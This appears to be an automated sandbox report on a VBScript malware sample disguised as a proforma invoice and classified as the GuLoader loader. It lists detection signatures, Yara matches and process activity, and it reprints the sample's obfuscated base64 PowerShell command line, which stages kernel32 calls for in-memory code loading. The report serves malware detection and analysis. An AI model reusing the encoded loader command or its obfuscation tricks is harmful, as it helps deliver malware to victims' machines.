Windows Analysis Report
Unclear Proforma Invoice.vbs

Overview

General Information

Sample Name: Unclear Proforma Invoice.vbs
Analysis ID: 680487
MD5: 2ccae65c60d12ce9d0d097db0d58cefa
SHA1: 4114f1b5a7c5ded759ca00fcbb10acfb4c72085f
SHA256: d85deda96531cdada16f3d37ee1ad279289c60509f37b28e0d0dac0bd7e4c4ed
Tags: vbs
Infos:

Detection

GuLoader
Score: 80
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Malicious sample detected (through community Yara rule)
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Wscript starts Powershell (via cmd or directly)
Potential malicious VBS script found (suspicious strings)
Encrypted powershell cmdline option found
Very long command line found
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Queries the volume information (name, serial number etc) of a device
Yara signature match
Java / VBScript file with very long strings (likely obfuscated code)
Drops PE files
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Detected potential crypto function
Compiles C# or VB.Net code
Found dropped PE file which has not been started or loaded
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges

Classification

Source: Binary string: k7C:\Users\user\AppData\Local\Temp\b0raocps\b0raocps.pdb source: powershell.exe, 00000004.00000002.801494394.000000000549D000.00000004.00000800.00020000.00000000.sdmp
Source: powershell.exe, 00000004.00000002.794035353.0000000005121000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: Process Memory Space: powershell.exe PID: 5748, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGUAbABzACAAUABhAHIAYQBwAHMAeQBrACAAQQBuAHQAaQBoACAARAB1AGQAZQBsAHMAYQBjACAAZABlAHMAdQBsACAATQB1AHIAcABoAGkAZQBkACAATQBsAGQAcgAgAEwAbwB1AHQAaABlACAAQQBjAGMAdQBtAGIAZQBuAHQAawAgAFAAZQBjAHQAbwByAGEAbABpAHMAIABEAHUAdgBlAHQAIABPAHAAcwBwAHIAdABuACAAbgBlAGQAZABpAGUAcwAgAFUAZABzAHYAaQBuAGcAIABBAG4AYQBsAHkAcwBlAGEAIABGAGEAcgBlAHMAZwBsAG8AIABEAGUAbQBhAHIAIABCAGwAdQBlAGIAZQBsACAAQwBvAHUAcgBpAGQAYQBoACAAbwBmAGYAbABpAGMAIAANAAoAIwBSAHUAbABsAGUAcwB0ACAATABhAGMAaAByAHkAbQBhAHQAIABCAGEAcgB5AHQAaAB5AG0AIABNAGEAcgBpAHMAIAB0AG8AbABzAGUAeQBrAHUAbAAgAFUAdQBkAHMAbAB1AGsAawBlACAAUwBhAHQAcwBiAGkAbABsAGUAIABBAGwAdgBpAGQAZQBuAGQAIABVAGQAZwBhAG4AZwBzAGYAbwByACAAVgBlAGQAZwBhACAARgBlAHIAaQBlAGwAdQBrAG4AIABSAGUAeQBrACAAQwBoAGEAcwBzAGUAcgAgAEUAcQB1AGEAbABsAGkAIABGAG8AcgBzAHQAZQBuACAAbQB1AHMAawBpACAAVQBuAHAAZQBlAGwAIABTAHAAZQBrAHQAYQAgAEoAdQBuAGcAbQBhAG4AZAB1AG4AIABpAG4AZAB1AGsAdAAgAEkAcwBvAGwAIABTAGsAZQBsAG4AZQBtAHIAawAgAEQAZwBuAGYAbAAgAEYAbwBsAGsAZQByAGUAIABBAGYAcABhAHMAbgAgAEQAYQBsAGwAeQAgAEwAYQBuAGQAZwBhAG4AZwBzACAASABlAG4AcgBpAGsAcwBlAG4AIABNAG8AbABiAG8AaABpAHMAIABTAGEAbgBlAHIAaQBuAGcAIABHAHIAdQB0AG4AIABTAHQAYQBrAGwAYQBkAGUAcgBuACAAQQByAGMAaAAgAA0ACgAkAEMAMwAyACAAPQAgAFsAYwBoAGEAcgBdADMANAAgACsAIAAiAFoAIgAgACsAIAAiAHcAQQAiACsAIgBsAGwAIgArACIAbwBjACIAKwAiAGEAdABlAFYAaQByACIAKwAiAHQAdQBhAGwATQAiACsAIgBlACIAKwAiAG0AIgArACIAbwByAHkAIgAgACsAIABbAGMAaABhAHIAXQAzADQADQAKACMAQwBvAG0AbQBhAG4AZABpAG4AZwAgAHUAbgBkAGUAcgBiAGUAIABBAHAAbwByAHIAIABVAG4AZgB1AHQAaQBsACAASgB1AGwAaQBhAG4AaQBzAHQAYgAgAEIAYQBnAGsAbABkAG4AaQBuAGcAIABTAGUAcgBlAG4AIABDAG8AbgB2ACAATwBzAHQAZQBvAHAAbABhACAAVQBuAHAAcgBlAGYAZQByAGEAIABTAGEAbQBtAGUAIABTAGUAbQBpAHMAcABpAHIAYQAgAFIAZQBnAGUAbgBzAGkAYQBuAGUAIABGAGUAaABzAG8AIABTAGsAbwB2ACAASwBvAG0AcABsAGUAdAB0AGUAIABSAGUAZABzAGUAIABEAGkAcwBwAHUAdABkAGEAZwAgAEYAYQB1AGMAIABTAGUAbQBpACAAZwBhAGwAYQBjAHQAIABOAG8AcgBvAHAAaQBhAG4AaQBjACAATQBpAGwAbABpAHMAZQBrAHUAbgAgAEIAZQBnAHIAZQBiAHMAZAAgAEsAZABmAGEAcgAgAE0AaQBzAG8AZwB5ACAAVABvAHAAZgBvAHIAcwBwACAAQwBwAHIAZgAgAGwAaQB2AHMAYgBlAHQAaQAgAE8AcgBkAHIAZQAgAE0AbABkAGUAaQBuAG8AZABvACAARQBrAHMAYQBtAGUAbgAgAFUAZABkAGEAbgBuAGUAbABzAGUAIAANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGsAeQBkADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARQBuAHUAbQBUAGkAbQBlAEYAbwByAG0AYQB0AHMAQQAoAHUAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADUALABpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2AHQANgAsACAAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADcAKQA7AA0ACgANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUA
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGUAbABzACAAUABhAHIAYQBwAHMAeQBrACAAQQBuAHQAaQBoACAARAB1AGQAZQBsAHMAYQBjACAAZABlAHMAdQBsACAATQB1AHIAcABoAGkAZQBkACAATQBsAGQAcgAgAEwAbwB1AHQAaABlACAAQQBjAGMAdQBtAGIAZQBuAHQAawAgAFAAZQBjAHQAbwByAGEAbABpAHMAIABEAHUAdgBlAHQAIABPAHAAcwBwAHIAdABuACAAbgBlAGQAZABpAGUAcwAgAFUAZABzAHYAaQBuAGcAIABBAG4AYQBsAHkAcwBlAGEAIABGAGEAcgBlAHMAZwBsAG8AIABEAGUAbQBhAHIAIABCAGwAdQBlAGIAZQBsACAAQwBvAHUAcgBpAGQAYQBoACAAbwBmAGYAbABpAGMAIAANAAoAIwBSAHUAbABsAGUAcwB0ACAATABhAGMAaAByAHkAbQBhAHQAIABCAGEAcgB5AHQAaAB5AG0AIABNAGEAcgBpAHMAIAB0AG8AbABzAGUAeQBrAHUAbAAgAFUAdQBkAHMAbAB1AGsAawBlACAAUwBhAHQAcwBiAGkAbABsAGUAIABBAGwAdgBpAGQAZQBuAGQAIABVAGQAZwBhAG4AZwBzAGYAbwByACAAVgBlAGQAZwBhACAARgBlAHIAaQBlAGwAdQBrAG4AIABSAGUAeQBrACAAQwBoAGEAcwBzAGUAcgAgAEUAcQB1AGEAbABsAGkAIABGAG8AcgBzAHQAZQBuACAAbQB1AHMAawBpACAAVQBuAHAAZQBlAGwAIABTAHAAZQBrAHQAYQAgAEoAdQBuAGcAbQBhAG4AZAB1AG4AIABpAG4AZAB1AGsAdAAgAEkAcwBvAGwAIABTAGsAZQBsAG4AZQBtAHIAawAgAEQAZwBuAGYAbAAgAEYAbwBsAGsAZQByAGUAIABBAGYAcABhAHMAbgAgAEQAYQBsAGwAeQAgAEwAYQBuAGQAZwBhAG4AZwBzACAASABlAG4AcgBpAGsAcwBlAG4AIABNAG8AbABiAG8AaABpAHMAIABTAGEAbgBlAHIAaQBuAGcAIABHAHIAdQB0AG4AIABTAHQAYQBrAGwAYQBkAGUAcgBuACAAQQByAGMAaAAgAA0ACgAkAEMAMwAyACAAPQAgAFsAYwBoAGEAcgBdADMANAAgACsAIAAiAFoAIgAgACsAIAAiAHcAQQAiACsAIgBsAGwAIgArACIAbwBjACIAKwAiAGEAdABlAFYAaQByACIAKwAiAHQAdQBhAGwATQAiACsAIgBlACIAKwAiAG0AIgArACIAbwByAHkAIgAgACsAIABbAGMAaABhAHIAXQAzADQADQAKACMAQwBvAG0AbQBhAG4AZABpAG4AZwAgAHUAbgBkAGUAcgBiAGUAIABBAHAAbwByAHIAIABVAG4AZgB1AHQAaQBsACAASgB1AGwAaQBhAG4AaQBzAHQAYgAgAEIAYQBnAGsAbABkAG4AaQBuAGcAIABTAGUAcgBlAG4AIABDAG8AbgB2ACAATwBzAHQAZQBvAHAAbABhACAAVQBuAHAAcgBlAGYAZQByAGEAIABTAGEAbQBtAGUAIABTAGUAbQBpAHMAcABpAHIAYQAgAFIAZQBnAGUAbgBzAGkAYQBuAGUAIABGAGUAaABzAG8AIABTAGsAbwB2ACAASwBvAG0AcABsAGUAdAB0AGUAIABSAGUAZABzAGUAIABEAGkAcwBwAHUAdABkAGEAZwAgAEYAYQB1AGMAIABTAGUAbQBpACAAZwBhAGwAYQBjAHQAIABOAG8AcgBvAHAAaQBhAG4AaQBjACAATQBpAGwAbABpAHMAZQBrAHUAbgAgAEIAZQBnAHIAZQBiAHMAZAAgAEsAZABmAGEAcgAgAE0AaQBzAG8AZwB5ACAAVABvAHAAZgBvAHIAcwBwACAAQwBwAHIAZgAgAGwAaQB2AHMAYgBlAHQAaQAgAE8AcgBkAHIAZQAgAE0AbABkAGUAaQBuAG8AZABvACAARQBrAHMAYQBtAGUAbgAgAFUAZABkAGEAbgBuAGUAbABzAGUAIAANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGsAeQBkADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARQBuAHUAbQBUAGkAbQBlAEYAbwByAG0AYQB0AHMAQQAoAHUAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADUALABpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2AHQANgAsACAAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADcAKQA7AA0ACgANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUA Jump to behavior
Potential malicious VBS script found (suspicious strings)
Source: Initial file: Personaleg.ShellExecute Predelegat, Pseudogla & chr(34) & cowardli & chr(34), vbnullstring, vbnullstring, 0
Very long command line found
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 5200
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 5200 Jump to behavior
Yara signature match
Source: Unclear Proforma Invoice.vbs, type: SAMPLE Matched rule: WScript_Shell_PowerShell_Combo date = 2018-02-07, author = Florian Roth, description = Detects malware from Middle Eastern campaign reported by Talos, score = 15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b, reference = http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: Process Memory Space: powershell.exe PID: 5748, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Java / VBScript file with very long strings (likely obfuscated code)
Source: Unclear Proforma Invoice.vbs Initial sample: Strings found which are bigger than 50
Detected potential crypto function
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_03074620 4_2_03074620
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_030788B1 4_2_030788B1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_030708E3 4_2_030708E3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_03076C48 4_2_03076C48
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_030753F0 4_2_030753F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_030708E3 4_2_030708E3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_03074CFF 4_2_03074CFF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_07EFBB48 4_2_07EFBB48
Abnormal high CPU Usage
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process Stats: CPU usage > 98%
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\Unclear Proforma Invoice.vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGUAbABzACAAUABhAHIAYQBwAHMAeQBrACAAQQBuAHQAaQBoACAARAB1AGQAZQBsAHMAYQBjACAAZABlAHMAdQBsACAATQB1AHIAcABoAGkAZQBkACAATQBsAGQAcgAgAEwAbwB1AHQAaABlACAAQQBjAGMAdQBtAGIAZQBuAHQAawAgAFAAZQBjAHQAbwByAGEAbABpAHMAIABEAHUAdgBlAHQAIABPAHAAcwBwAHIAdABuACAAbgBlAGQAZABpAGUAcwAgAFUAZABzAHYAaQBuAGcAIABBAG4AYQBsAHkAcwBlAGEAIABGAGEAcgBlAHMAZwBsAG8AIABEAGUAbQBhAHIAIABCAGwAdQBlAGIAZQBsACAAQwBvAHUAcgBpAGQAYQBoACAAbwBmAGYAbABpAGMAIAANAAoAIwBSAHUAbABsAGUAcwB0ACAATABhAGMAaAByAHkAbQBhAHQAIABCAGEAcgB5AHQAaAB5AG0AIABNAGEAcgBpAHMAIAB0AG8AbABzAGUAeQBrAHUAbAAgAFUAdQBkAHMAbAB1AGsAawBlACAAUwBhAHQAcwBiAGkAbABsAGUAIABBAGwAdgBpAGQAZQBuAGQAIABVAGQAZwBhAG4AZwBzAGYAbwByACAAVgBlAGQAZwBhACAARgBlAHIAaQBlAGwAdQBrAG4AIABSAGUAeQBrACAAQwBoAGEAcwBzAGUAcgAgAEUAcQB1AGEAbABsAGkAIABGAG8AcgBzAHQAZQBuACAAbQB1AHMAawBpACAAVQBuAHAAZQBlAGwAIABTAHAAZQBrAHQAYQAgAEoAdQBuAGcAbQBhAG4AZAB1AG4AIABpAG4AZAB1AGsAdAAgAEkAcwBvAGwAIABTAGsAZQBsAG4AZQBtAHIAawAgAEQAZwBuAGYAbAAgAEYAbwBsAGsAZQByAGUAIABBAGYAcABhAHMAbgAgAEQAYQBsAGwAeQAgAEwAYQBuAGQAZwBhAG4AZwBzACAASABlAG4AcgBpAGsAcwBlAG4AIABNAG8AbABiAG8AaABpAHMAIABTAGEAbgBlAHIAaQBuAGcAIABHAHIAdQB0AG4AIABTAHQAYQBrAGwAYQBkAGUAcgBuACAAQQByAGMAaAAgAA0ACgAkAEMAMwAyACAAPQAgAFsAYwBoAGEAcgBdADMANAAgACsAIAAiAFoAIgAgACsAIAAiAHcAQQAiACsAIgBsAGwAIgArACIAbwBjACIAKwAiAGEAdABlAFYAaQByACIAKwAiAHQAdQBhAGwATQAiACsAIgBlACIAKwAiAG0AIgArACIAbwByAHkAIgAgACsAIABbAGMAaABhAHIAXQAzADQADQAKACMAQwBvAG0AbQBhAG4AZABpAG4AZwAgAHUAbgBkAGUAcgBiAGUAIABBAHAAbwByAHIAIABVAG4AZgB1AHQAaQBsACAASgB1AGwAaQBhAG4AaQBzAHQAYgAgAEIAYQBnAGsAbABkAG4AaQBuAGcAIABTAGUAcgBlAG4AIABDAG8AbgB2ACAATwBzAHQAZQBvAHAAbABhACAAVQBuAHAAcgBlAGYAZQByAGEAIABTAGEAbQBtAGUAIABTAGUAbQBpAHMAcABpAHIAYQAgAFIAZQBnAGUAbgBzAGkAYQBuAGUAIABGAGUAaABzAG8AIABTAGsAbwB2ACAASwBvAG0AcABsAGUAdAB0AGUAIABSAGUAZABzAGUAIABEAGkAcwBwAHUAdABkAGEAZwAgAEYAYQB1AGMAIABTAGUAbQBpACAAZwBhAGwAYQBjAHQAIABOAG8AcgBvAHAAaQBhAG4AaQBjACAATQBpAGwAbABpAHMAZQBrAHUAbgAgAEIAZQBnAHIAZQBiAHMAZAAgAEsAZABmAGEAcgAgAE0AaQBzAG8AZwB5ACAAVABvAHAAZgBvAHIAcwBwACAAQwBwAHIAZgAgAGwAaQB2AHMAYgBlAHQAaQAgAE8AcgBkAHIAZQAgAE0AbABkAGUAaQBuAG8AZABvACAARQBrAHMAYQBtAGUAbgAgAFUAZABkAGEAbgBuAGUAbABzAGUAIAANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGsAeQBkADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARQBuAHUAbQBUAGkAbQBlAEYAbwByAG0AYQB0AHMAQQAoAHUAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADUALABpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2AHQANgAsACAAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADcAKQA7AA0ACgANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\b0raocps\b0raocps.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESED66.tmp" "c:\Users\user\AppData\Local\Temp\b0raocps\CSC533D9109F058485082AFE99DFE1364C9.TMP"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGUAbABzACAAUABhAHIAYQBwAHMAeQBrACAAQQBuAHQAaQBoACAARAB1AGQAZQBsAHMAYQBjACAAZABlAHMAdQBsACAATQB1AHIAcABoAGkAZQBkACAATQBsAGQAcgAgAEwAbwB1AHQAaABlACAAQQBjAGMAdQBtAGIAZQBuAHQAawAgAFAAZQBjAHQAbwByAGEAbABpAHMAIABEAHUAdgBlAHQAIABPAHAAcwBwAHIAdABuACAAbgBlAGQAZABpAGUAcwAgAFUAZABzAHYAaQBuAGcAIABBAG4AYQBsAHkAcwBlAGEAIABGAGEAcgBlAHMAZwBsAG8AIABEAGUAbQBhAHIAIABCAGwAdQBlAGIAZQBsACAAQwBvAHUAcgBpAGQAYQBoACAAbwBmAGYAbABpAGMAIAANAAoAIwBSAHUAbABsAGUAcwB0ACAATABhAGMAaAByAHkAbQBhAHQAIABCAGEAcgB5AHQAaAB5AG0AIABNAGEAcgBpAHMAIAB0AG8AbABzAGUAeQBrAHUAbAAgAFUAdQBkAHMAbAB1AGsAawBlACAAUwBhAHQAcwBiAGkAbABsAGUAIABBAGwAdgBpAGQAZQBuAGQAIABVAGQAZwBhAG4AZwBzAGYAbwByACAAVgBlAGQAZwBhACAARgBlAHIAaQBlAGwAdQBrAG4AIABSAGUAeQBrACAAQwBoAGEAcwBzAGUAcgAgAEUAcQB1AGEAbABsAGkAIABGAG8AcgBzAHQAZQBuACAAbQB1AHMAawBpACAAVQBuAHAAZQBlAGwAIABTAHAAZQBrAHQAYQAgAEoAdQBuAGcAbQBhAG4AZAB1AG4AIABpAG4AZAB1AGsAdAAgAEkAcwBvAGwAIABTAGsAZQBsAG4AZQBtAHIAawAgAEQAZwBuAGYAbAAgAEYAbwBsAGsAZQByAGUAIABBAGYAcABhAHMAbgAgAEQAYQBsAGwAeQAgAEwAYQBuAGQAZwBhAG4AZwBzACAASABlAG4AcgBpAGsAcwBlAG4AIABNAG8AbABiAG8AaABpAHMAIABTAGEAbgBlAHIAaQBuAGcAIABHAHIAdQB0AG4AIABTAHQAYQBrAGwAYQBkAGUAcgBuACAAQQByAGMAaAAgAA0ACgAkAEMAMwAyACAAPQAgAFsAYwBoAGEAcgBdADMANAAgACsAIAAiAFoAIgAgACsAIAAiAHcAQQAiACsAIgBsAGwAIgArACIAbwBjACIAKwAiAGEAdABlAFYAaQByACIAKwAiAHQAdQBhAGwATQAiACsAIgBlACIAKwAiAG0AIgArACIAbwByAHkAIgAgACsAIABbAGMAaABhAHIAXQAzADQADQAKACMAQwBvAG0AbQBhAG4AZABpAG4AZwAgAHUAbgBkAGUAcgBiAGUAIABBAHAAbwByAHIAIABVAG4AZgB1AHQAaQBsACAASgB1AGwAaQBhAG4AaQBzAHQAYgAgAEIAYQBnAGsAbABkAG4AaQBuAGcAIABTAGUAcgBlAG4AIABDAG8AbgB2ACAATwBzAHQAZQBvAHAAbABhACAAVQBuAHAAcgBlAGYAZQByAGEAIABTAGEAbQBtAGUAIABTAGUAbQBpAHMAcABpAHIAYQAgAFIAZQBnAGUAbgBzAGkAYQBuAGUAIABGAGUAaABzAG8AIABTAGsAbwB2ACAASwBvAG0AcABsAGUAdAB0AGUAIABSAGUAZABzAGUAIABEAGkAcwBwAHUAdABkAGEAZwAgAEYAYQB1AGMAIABTAGUAbQBpACAAZwBhAGwAYQBjAHQAIABOAG8AcgBvAHAAaQBhAG4AaQBjACAATQBpAGwAbABpAHMAZQBrAHUAbgAgAEIAZQBnAHIAZQBiAHMAZAAgAEsAZABmAGEAcgAgAE0AaQBzAG8AZwB5ACAAVABvAHAAZgBvAHIAcwBwACAAQwBwAHIAZgAgAGwAaQB2AHMAYgBlAHQAaQAgAE8AcgBkAHIAZQAgAE0AbABkAGUAaQBuAG8AZABvACAARQBrAHMAYQBtAGUAbgAgAFUAZABkAGEAbgBuAGUAbABzAGUAIAANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGsAeQBkADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARQBuAHUAbQBUAGkAbQBlAEYAbwByAG0AYQB0AHMAQQAoAHUAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADUALABpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2AHQANgAsACAAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADcAKQA7AA0ACgANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUA Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\b0raocps\b0raocps.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESED66.tmp" "c:\Users\user\AppData\Local\Temp\b0raocps\CSC533D9109F058485082AFE99DFE1364C9.TMP" Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5116:120:WilError_01
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\Unclear Proforma Invoice.vbs"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Documents\20220808 Jump to behavior
